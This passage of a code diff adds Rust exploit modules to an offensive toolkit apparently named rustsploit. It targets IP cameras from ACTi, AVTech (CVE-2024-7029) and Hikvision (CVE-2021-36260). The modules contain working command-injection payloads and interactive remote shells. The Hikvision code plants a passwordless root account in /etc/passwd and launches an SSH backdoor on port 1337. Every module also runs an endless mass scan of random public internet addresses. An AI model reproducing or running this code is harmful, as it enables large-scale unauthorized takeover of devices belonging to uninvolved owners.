if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = prompt_default("[?] Output File", "acti_rce_hits.txt")?;
|
||||
let outfile = Arc::new(outfile);
|
||||
|
||||
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
|
||||
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
println!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc).to_string();
|
||||
|
||||
if let Ok(true) = check(&ip, port).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
||||
return run_mass_scan().await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
// Check for CIDR or Range
|
||||
let is_mass_scan = target.contains('/') || target.contains('-');
|
||||
|
||||
// Prompt for port globally
|
||||
let port = prompt_port("Target Port", DEFAULT_PORT)?;
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
|
||||
|
||||
let ips: Vec<IpAddr> = if target.contains('/') {
|
||||
// CIDR
|
||||
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
|
||||
net.iter().collect()
|
||||
} else {
|
||||
// Range (basic impl for dash)
|
||||
// For now, let's assume specific basic range or just use utils if available.
|
||||
// But since utils::expand might not be exposed, let's just stick to CIDR support for now
|
||||
// or simple parsing if the user provided a list.
|
||||
// Actually, let's use a simple heuristic: if it has -, try to parse start/end?
|
||||
// For robustness, let's assume CIDR only or single for now unless we implement range expander.
|
||||
// However, user asked for "mass scan", likely CIDR.
|
||||
|
||||
// Re-use logic from other modules?
|
||||
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
|
||||
|
||||
let concurrency = 50;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let vulnerable_count = Arc::new(AtomicUsize::new(0));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in ips {
|
||||
let sem = semaphore.clone();
|
||||
let vc = vulnerable_count.clone();
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return, // Semaphore closed, exit gracefully
|
||||
};
|
||||
if let Ok(true) = check(&ip_str, port).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
|
||||
vc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
drop(_permit);
|
||||
}));
|
||||
}
|
||||
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
println!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
|
||||
|
||||
} else {
|
||||
// Single Target Mode (Original Logic)
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd_input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut cmd_input)
|
||||
.context("Failed to read command input")?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
|
||||
|
||||
let res = client
|
||||
.get(url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
println!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
println!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use std::io::Write;
|
||||
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::{escape_shell_command, normalize_target, prompt_port};
|
||||
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking vulnerability...".cyan());
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
|
||||
let stdin = std::io::stdin();
|
||||
let mut line = String::new();
|
||||
|
||||
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
print!("{}", "cve7029-shell> ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
if stdin.read_line(&mut line).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = line.trim().to_string();
|
||||
line.clear();
|
||||
|
||||
{
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match exec_cmd(client, base, &cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Execute a remote command by abusing the brightness parameter
|
||||
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
// Escape command to prevent injection of additional shell commands
|
||||
let escaped_cmd = escape_shell_command(cmd);
|
||||
let payload = format!("1;{};", escaped_cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
async fn quick_check(client: &Client, ip: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let url = format!("http://{}/cgi-bin/supervisor/Factory.cgi?action=Set&brightness=1;echo_CVE7029;", host);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => {
|
||||
if let Ok(body) = resp.text().await {
|
||||
body.contains("echo_CVE7029")
|
||||
} else {
|
||||
false
|
||||
}
|
||||
},
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let port = prompt_port("Enter port to use", 80)?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
|
||||
println!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let scheme = if raw_ip.starts_with("https://") { "https" } else { "http" };
|
||||
let normalized = normalize_target(raw_ip)?;
|
||||
|
||||
let url = if normalized.contains("]:") || (normalized.contains(':') && !normalized.starts_with('[')) {
|
||||
format!("{}://{}", scheme, normalized)
|
||||
} else {
|
||||
format!("{}://{}:{}", scheme, normalized, port)
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("{}", format!("[-] {} is not vulnerable", url).red());
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
println!("{}", "[*] Scan complete.".cyan());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,518 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use chrono::Local;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MAX_CMD_LENGTH: usize = 22;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ScanMode {
|
||||
SafeCheck,
|
||||
UnsafeReboot,
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ Hikvision Web Server CVE-2021-36260 ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ Unauthenticated Command Injection (Build 210702) ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ PoC by bashis - Ported to Rust for rustsploit ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Normalize target URL
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
|
||||
("http://", s)
|
||||
} else if let Some(s) = raw.strip_prefix("https://") {
|
||||
("https://", s)
|
||||
} else {
|
||||
("http://", raw)
|
||||
};
|
||||
|
||||
let (auth, path) = match after.find('/') {
|
||||
Some(i) => (&after[..i], &after[i..]),
|
||||
None => (after, ""),
|
||||
};
|
||||
|
||||
let (host_part, port_part) = if auth.starts_with('[') {
|
||||
if let Some(pos) = auth.rfind(']') {
|
||||
(&auth[..=pos], &auth[pos + 1..])
|
||||
} else {
|
||||
(auth, "")
|
||||
}
|
||||
} else if auth.matches(':').count() > 1 {
|
||||
(auth, "") // IPv6 without brackets
|
||||
} else if let Some(pos) = auth.rfind(':') {
|
||||
(&auth[..pos], &auth[pos..])
|
||||
} else {
|
||||
(auth, "")
|
||||
};
|
||||
|
||||
let mut inner = host_part;
|
||||
while inner.starts_with('[') && inner.ends_with(']') {
|
||||
inner = &inner[1..inner.len() - 1];
|
||||
}
|
||||
|
||||
let wrapped = if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner.to_string()
|
||||
};
|
||||
|
||||
format!("{}{}{}{}", scheme, wrapped, port_part, path)
|
||||
}
|
||||
|
||||
/// HTTP client wrapper for Hikvision exploitation
|
||||
struct HikvisionClient {
|
||||
client: Client,
|
||||
base_url: String,
|
||||
}
|
||||
|
||||
impl HikvisionClient {
|
||||
fn new(target: &str, proto: &str, timeout: u64) -> Result<Self> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(timeout))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let base_url = format!("{}://{}", proto, target);
|
||||
let base_url = normalize_target(&base_url);
|
||||
|
||||
Ok(Self { client, base_url })
|
||||
}
|
||||
|
||||
/// Send PUT request with command injection payload
|
||||
async fn send_payload(&self, command: &str, timeout: u64) -> Result<reqwest::Response> {
|
||||
if command.len() > MAX_CMD_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Command '{}' is too long ({} chars, max {})",
|
||||
command,
|
||||
command.len(),
|
||||
MAX_CMD_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
let payload = format!(
|
||||
"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$({})</language>",
|
||||
command
|
||||
);
|
||||
|
||||
self.client
|
||||
.put(format!("{}/SDK/webLanguage", self.base_url))
|
||||
.header("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
|
||||
.header("X-Requested-With", "XMLHttpRequest")
|
||||
.body(payload)
|
||||
.timeout(Duration::from_secs(timeout))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send payload")
|
||||
}
|
||||
|
||||
/// Send GET request
|
||||
async fn get(&self, path: &str, timeout: u64) -> Result<reqwest::Response> {
|
||||
self.client
|
||||
.get(format!("{}{}", self.base_url, path))
|
||||
.timeout(Duration::from_secs(timeout))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send GET request")
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_vulnerable(client: &HikvisionClient, noverify: bool) -> Result<bool> {
|
||||
if noverify {
|
||||
return Ok(true);
|
||||
}
|
||||
// First check if we can connect
|
||||
match client.get("/", 5).await {
|
||||
Ok(_) => {},
|
||||
Err(_) => return Ok(false),
|
||||
}
|
||||
|
||||
// Try to write a test file
|
||||
match client.send_payload(">webLib/c", 5).await {
|
||||
Ok(resp) => {
|
||||
if resp.status().as_u16() == 404 { return Ok(false); }
|
||||
// Try to read the file we created
|
||||
match client.get("/c", 5).await {
|
||||
Ok(read_resp) => {
|
||||
if read_resp.status().as_u16() == 200 { return Ok(true); }
|
||||
Ok(false)
|
||||
}
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_with_reboot(client: &HikvisionClient) -> Result<bool> {
|
||||
let _ = client.send_payload("reboot", 5).await;
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
match client.get("/", 5).await {
|
||||
Ok(_) => Ok(false), // Still responding
|
||||
Err(_) => Ok(true), // Device went down/rebooted
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_cmd(client: &HikvisionClient, command: &str) -> Result<String> {
|
||||
let write_cmd = format!("{}>webLib/x", command);
|
||||
if write_cmd.len() > MAX_CMD_LENGTH {
|
||||
return Err(anyhow!("Command too long"));
|
||||
}
|
||||
client.send_payload(&write_cmd, 10).await?;
|
||||
let resp = client.get("/x", 10).await?;
|
||||
if resp.status().as_u16() != 200 {
|
||||
return Err(anyhow!("Failed to retrieve command output"));
|
||||
}
|
||||
match resp.text().await {
|
||||
Ok(text) => Ok(text),
|
||||
Err(e) => Err(anyhow!("Failed to read command output: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_blind_cmd(client: &HikvisionClient, command: &str) -> Result<()> {
|
||||
match client.send_payload(command, 10).await {
|
||||
Ok(resp) => {
|
||||
if resp.status().as_u16() == 500 { Ok(()) } else { Err(anyhow!("Unexpected code")) }
|
||||
}
|
||||
Err(e) => Err(anyhow!("Failed: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn interactive_shell(client: &HikvisionClient) -> Result<()> {
|
||||
println!("{}", "[*] Preparing shell access...".cyan());
|
||||
match client.get("/N", 5).await {
|
||||
Ok(resp) => {
|
||||
if resp.status().as_u16() == 404 {
|
||||
client.send_payload("echo -n P::0:0:W>N", 10).await?;
|
||||
client.send_payload("echo :/:/bin/sh>>N", 10).await?;
|
||||
client.send_payload("cat N>>/etc/passwd", 10).await?;
|
||||
client.send_payload("dropbear -R -B -p 1337", 10).await?;
|
||||
client.send_payload("cat N>webLib/N", 10).await?;
|
||||
println!("{}", "[+] Dropbear SSH started on port 1337".green());
|
||||
}
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Failed to check shell status")),
|
||||
}
|
||||
println!("{}", "[*] SSH connection ready".cyan());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn interactive_mode(client: &HikvisionClient) -> Result<()> {
|
||||
println!("{}", "\n[*] Entering interactive command mode".cyan());
|
||||
loop {
|
||||
print!("{}", "hikvision> ".green().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let cmd = input.trim();
|
||||
if cmd.is_empty() { continue; }
|
||||
if cmd == "exit" || cmd == "quit" { break; }
|
||||
match execute_cmd(client, cmd).await {
|
||||
Ok(output) => println!("{}", output),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
async fn quick_check(ip: &str, mode: ScanMode, custom_payload: &str) -> bool {
|
||||
let host_port = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
if let Ok(client) = HikvisionClient::new(&host_port, "http", 5) {
|
||||
match mode {
|
||||
ScanMode::SafeCheck => {
|
||||
check_vulnerable(&client, false).await.unwrap_or(false)
|
||||
},
|
||||
ScanMode::UnsafeReboot => {
|
||||
check_with_reboot(&client).await.unwrap_or(false)
|
||||
},
|
||||
ScanMode::CustomCommand => {
|
||||
// Just execute validation blind command
|
||||
match client.send_payload(custom_payload, 5).await {
|
||||
Ok(resp) => resp.status().as_u16() == 200 || resp.status().as_u16() == 500,
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
